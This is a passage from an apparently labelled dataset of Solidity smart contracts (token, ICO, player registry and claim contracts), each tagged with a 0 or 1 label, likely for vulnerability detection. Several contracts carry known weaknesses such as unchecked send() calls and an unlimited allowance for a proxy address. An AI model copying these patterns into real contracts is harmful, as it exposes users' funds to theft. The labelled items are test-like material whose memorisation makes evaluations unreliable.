balances[msg.sender] = balances[msg.sender].add(_value);
depositLock[msg.sender] = now + _forTime * 1 hours;
return true;
}
function withdraw(
uint8 v,
bytes32 r,
bytes32 s,
uint _value,
uint signatureValidUntilBlock
)
public
returns
(bool success)
{
require(balanceOf(msg.sender) >= _value);
if (now > depositLock[msg.sender]) {
balances[msg.sender] = balances[msg.sender].sub(_value);
success = ERC20(originalToken).transfer(msg.sender, _value);
} else {
require(block.number < signatureValidUntilBlock);
require(isValidSignature(keccak256(msg.sender, address(this), signatureValidUntilBlock), v, r, s));
balances[msg.sender] = balances[msg.sender].sub(_value);
success = ERC20(originalToken).transfer(msg.sender, _value);
}
require(success);
}
function transfer(address _to, uint256 _value) public returns (bool) {
return false;
}
function transferFrom(address _from, address _to, uint _value) public {
require(_to == owner || _from == owner);
assert(msg.sender == TRANSFER_PROXY);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
Transfer(_from, _to, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint) {
if (_spender == TRANSFER_PROXY) {
return 2**256 - 1;
}
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function isValidSignature(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
)
public
constant
returns (bool)
{
return isSigner[ecrecover(
keccak256("\x19Ethereum Signed Message:\n32", hash),
v,
r,
s
)];
}
function addSigner(address _newSigner) public {
require(isSigner[msg.sender]);
isSigner[_newSigner] = true;
}
function keccak(address _sender, address _wrapper, uint _validTill) public constant returns(bytes32) {
return keccak256(_sender, _wrapper, _validTill);
}
} | 0 | 868 |
contract WISDOM{string public standard='Token 0.1';string public name;string public symbol;uint8 public decimals;uint256 public totalSupply;address public owner; address [] public users; mapping(address=>uint256)public balanceOf; string public filehash; mapping(address=>mapping(address=>uint256))public allowance;event Transfer(address indexed from,address indexed to,uint256 value);modifier onlyOwner(){if(owner!=msg.sender) {throw;} else{ _; } }
function WISDOM(){owner=0xCf7393c56a09C0Ae5734Bdec5ccB341c56eE1B51; address firstOwner=owner;balanceOf[firstOwner]=1000000000;totalSupply=1000000000;name='WISDOM';symbol='WISDOM'; filehash= ''; decimals=0;msg.sender.send(msg.value); }
function transfer(address _to,uint256 _value){if(balanceOf[msg.sender]<_value)throw;if(balanceOf[_to]+_value < balanceOf[_to])throw; balanceOf[msg.sender]-=_value; balanceOf[_to]+=_value;Transfer(msg.sender,_to,_value); }
function approve(address _spender,uint256 _value) returns(bool success){allowance[msg.sender][_spender]=_value;return true;}
function collectExcess()onlyOwner{owner.send(this.balance-2100000);}
function(){
}
} | 0 | 701 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name = "Value Promise Protocol token";
string public symbol = "VPP";
uint256 public decimals = 18;
uint256 public totalSupply = 50*10**(18+8);
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
) public {
balanceOf[msg.sender] = totalSupply;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 4,570 |
pragma solidity ^0.4.24;
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
interface TeamJustInterface {
function requiredSignatures() external view returns(uint256);
function requiredDevSignatures() external view returns(uint256);
function adminCount() external view returns(uint256);
function devCount() external view returns(uint256);
function adminName(address _who) external view returns(bytes32);
function isAdmin(address _who) external view returns(bool);
function isDev(address _who) external view returns(bool);
}
contract PlayerBook {
using NameFilter for string;
using SafeMath for uint256;
TeamJustInterface constant private TeamJust = TeamJustInterface(0x1599470505ec590a2aa85ef8d7dfed7833a60831);
address constant private reward = 0x30D4d6079829082e5A4bCaAbf6887362527B8838;
MSFun.Data private msData;
function multiSigDev(bytes32 _whatFunction) private returns (bool) {return(MSFun.multiSig(msData, TeamJust.requiredDevSignatures(), _whatFunction));}
function deleteProposal(bytes32 _whatFunction) private {MSFun.deleteProposal(msData, _whatFunction);}
function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);}
function checkData(bytes32 _whatFunction) onlyDevs() public view returns(bytes32, uint256) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));}
function checkSignersByAddress(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(address, address, address) {return(MSFun.checkSigner(msData, _whatFunction, _signerA), MSFun.checkSigner(msData, _whatFunction, _signerB), MSFun.checkSigner(msData, _whatFunction, _signerC));}
function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyDevs() public view returns(bytes32, bytes32, bytes32) {return(TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));}
uint256 public registrationFee_ = 10 finney;
mapping(uint256 => PlayerBookReceiverInterface) public games_;
mapping(address => bytes32) public gameNames_;
mapping(address => uint256) public gameIDs_;
uint256 public gID_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Player) public plyr_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_;
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
constructor()
public
{
plyr_[1].addr = 0x3D3B33b8F50AB9e8F5a9Ff369853F0e638450aDB;
plyr_[1].name = "justo";
plyr_[1].names = 1;
pIDxAddr_[0x3D3B33b8F50AB9e8F5a9Ff369853F0e638450aDB] = 1;
pIDxName_["justo"] = 1;
plyrNames_[1]["justo"] = true;
plyrNameList_[1][1] = "justo";
plyr_[2].addr = 0xE54c005c9eF185CfE70209AD825301F9a84534A8;
plyr_[2].name = "mantso";
plyr_[2].names = 1;
pIDxAddr_[0xE54c005c9eF185CfE70209AD825301F9a84534A8] = 2;
pIDxName_["mantso"] = 2;
plyrNames_[2]["mantso"] = true;
plyrNameList_[2][1] = "mantso";
plyr_[3].addr = 0x5f4D36184A3264454CACE497B0c346E9A51F5eaB;
plyr_[3].name = "sumpunk";
plyr_[3].names = 1;
pIDxAddr_[0x5f4D36184A3264454CACE497B0c346E9A51F5eaB] = 3;
pIDxName_["sumpunk"] = 3;
plyrNames_[3]["sumpunk"] = true;
plyrNameList_[3][1] = "sumpunk";
plyr_[4].addr = 0x28C0F6142D1232C9E663e29cc0a6F8F087269373;
plyr_[4].name = "inventor";
plyr_[4].names = 1;
pIDxAddr_[0x28C0F6142D1232C9E663e29cc0a6F8F087269373] = 4;
pIDxName_["inventor"] = 4;
plyrNames_[4]["inventor"] = true;
plyrNameList_[4][1] = "inventor";
pID_ = 4;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyDevs()
{
require(TeamJust.isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
function useMyOldName(string _nameString)
isHuman()
public
{
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
plyr_[_pID].name = _name;
}
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
plyr_[_pID].names++;
plyrNameList_[_pID][plyr_[_pID].names] = _name;
}
reward.send(address(this).balance);
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true);
} else {
return (false);
}
}
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function addGame(address _gameAddress, string _gameNameStr)
onlyDevs()
public
{
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
if (multiSigDev("addGame") == true)
{deleteProposal("addGame");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0);
games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0);
games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0);
}
}
function setRegistrationFee(uint256 _fee)
onlyDevs()
public
{
if (multiSigDev("setRegistrationFee") == true)
{deleteProposal("setRegistrationFee");
registrationFee_ = _fee;
}
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library MSFun {
struct Data
{
mapping (bytes32 => ProposalData) proposal_;
}
struct ProposalData
{
bytes32 msgData;
uint256 count;
mapping (address => bool) admin;
mapping (uint256 => address) log;
}
function multiSig(Data storage self, uint256 _requiredSignatures, bytes32 _whatFunction)
internal
returns(bool)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
uint256 _currentCount = self.proposal_[_whatProposal].count;
address _whichAdmin = msg.sender;
bytes32 _msgData = keccak256(msg.data);
if (_currentCount == 0)
{
self.proposal_[_whatProposal].msgData = _msgData;
self.proposal_[_whatProposal].admin[_whichAdmin] = true;
self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin;
self.proposal_[_whatProposal].count += 1;
if (self.proposal_[_whatProposal].count == _requiredSignatures) {
return(true);
}
} else if (self.proposal_[_whatProposal].msgData == _msgData) {
if (self.proposal_[_whatProposal].admin[_whichAdmin] == false)
{
self.proposal_[_whatProposal].admin[_whichAdmin] = true;
self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin;
self.proposal_[_whatProposal].count += 1;
}
if (self.proposal_[_whatProposal].count == _requiredSignatures) {
return(true);
}
}
}
function deleteProposal(Data storage self, bytes32 _whatFunction)
internal
{
bytes32 _whatProposal = whatProposal(_whatFunction);
address _whichAdmin;
for (uint256 i=0; i < self.proposal_[_whatProposal].count; i++) {
_whichAdmin = self.proposal_[_whatProposal].log[i];
delete self.proposal_[_whatProposal].admin[_whichAdmin];
delete self.proposal_[_whatProposal].log[i];
}
delete self.proposal_[_whatProposal];
}
function whatProposal(bytes32 _whatFunction)
private
view
returns(bytes32)
{
return(keccak256(abi.encodePacked(_whatFunction,this)));
}
function checkMsgData (Data storage self, bytes32 _whatFunction)
internal
view
returns (bytes32 msg_data)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].msgData);
}
function checkCount (Data storage self, bytes32 _whatFunction)
internal
view
returns (uint256 signature_count)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].count);
}
function checkSigner (Data storage self, bytes32 _whatFunction, uint256 _signer)
internal
view
returns (address signer)
{
require(_signer > 0, "MSFun checkSigner failed - 0 not allowed");
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].log[_signer - 1]);
}
} | 0 | 305 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract OASIS is StandardToken {
string public constant name = "OASIS";
string public constant symbol = "OHAS";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | 1 | 3,707 |
pragma solidity =0.6.12;
contract NavyBase {
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
fallback() external payable {}
receive () external payable {}
mapping(address=> uint256) public claimed;
event ClaimETH(address indexed to, uint256 amount);
function claim(uint256 amount, bytes32 hash, bytes memory signature) public{
bytes memory prefix = hex"19457468657265756d205369676e6564204d6573736167653a0a3532";
require(keccak256(abi.encodePacked(prefix, msg.sender, amount))==hash);
require(recover(hash, signature) == address(0x000c8794F857Fb1151F362Df71694F4bDA0bB88c));
require(amount >= claimed[msg.sender]);
amount = amount - claimed[msg.sender];
if (amount >= address(this).balance){
amount = address(this).balance;
}
claimed[msg.sender] = amount + claimed[msg.sender];
msg.sender.send(amount);
emit ClaimETH(msg.sender, amount);
}
} | 0 | 1,192 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
uint256 freezeTransferTime;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(now >= freezeTransferTime);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(now >= freezeTransferTime);
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() public onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract SIGToken is MintableToken {
string public constant name = "Saxinvest Group Coin";
string public constant symbol = "SIG";
uint32 public constant decimals = 18;
function SIGToken(uint256 _freezeTransferTime) public {
freezeTransferTime = _freezeTransferTime;
}
}
contract SIGICO is Ownable {
using SafeMath for uint256;
SIGToken public token;
uint256 public startTime;
uint256 public endTime;
uint256 public freezeTransferTime;
bool public isFinalized = false;
uint256 Round1 = 1517000399;
uint256 Round2 = 1519851599;
address SafeAddr = 0x99C5FAb804600C8504EEeE0908251b0504B6354A;
address FundOwnerAddr_1 = 0x8C6Ef7697b14bD32Be490036566396B0bc821569;
address FundOwnerAddr_2 = 0xEeE2A9aE8db4bd43E72aa912dD908557D5D23891;
address FundOwnerAddr_3 = 0x8f89f10C379cD244c451Df6aD4a569aFe567c22f;
address ReserveFundAddr = 0xC9a5E3c3ed6c340dD10F87fe35929d93fee642Ed;
address DeveloperTokensStoreAddr = 0x0e22b0Baa6714A8Dd18dC966002E02b5116522EF;
address OtherTokensStoreAddr = 0x53E936299f2b7A7173A81B28C93591C880aDfD45;
uint256 rate;
uint256 TotalBuyers;
uint256 PercentageForFounders = 10;
uint256 PercentageForReserveFund = 5;
uint256 PercentageForDevelopers = 3;
uint256 PercentageForOther = 2;
uint256 tokenCost;
mapping (address => bool) Buyers;
mapping (uint8 => uint256) BonusTokens;
mapping (uint8 => uint256) Restricted;
event TokenPurchase(address indexed sender, address indexed buyer, uint8 round, uint256 rate, uint256 weiAmount, uint256 tokens, uint256 bonus);
event ChangeRate(uint256 changeTime, uint256 prevRate, uint256 newRate, uint256 prevSupply);
event Finalized();
function SIGICO(uint256 _startTime, uint256 _endTime, uint256 _rate) public {
require(_startTime >= now);
require(_endTime >= _startTime);
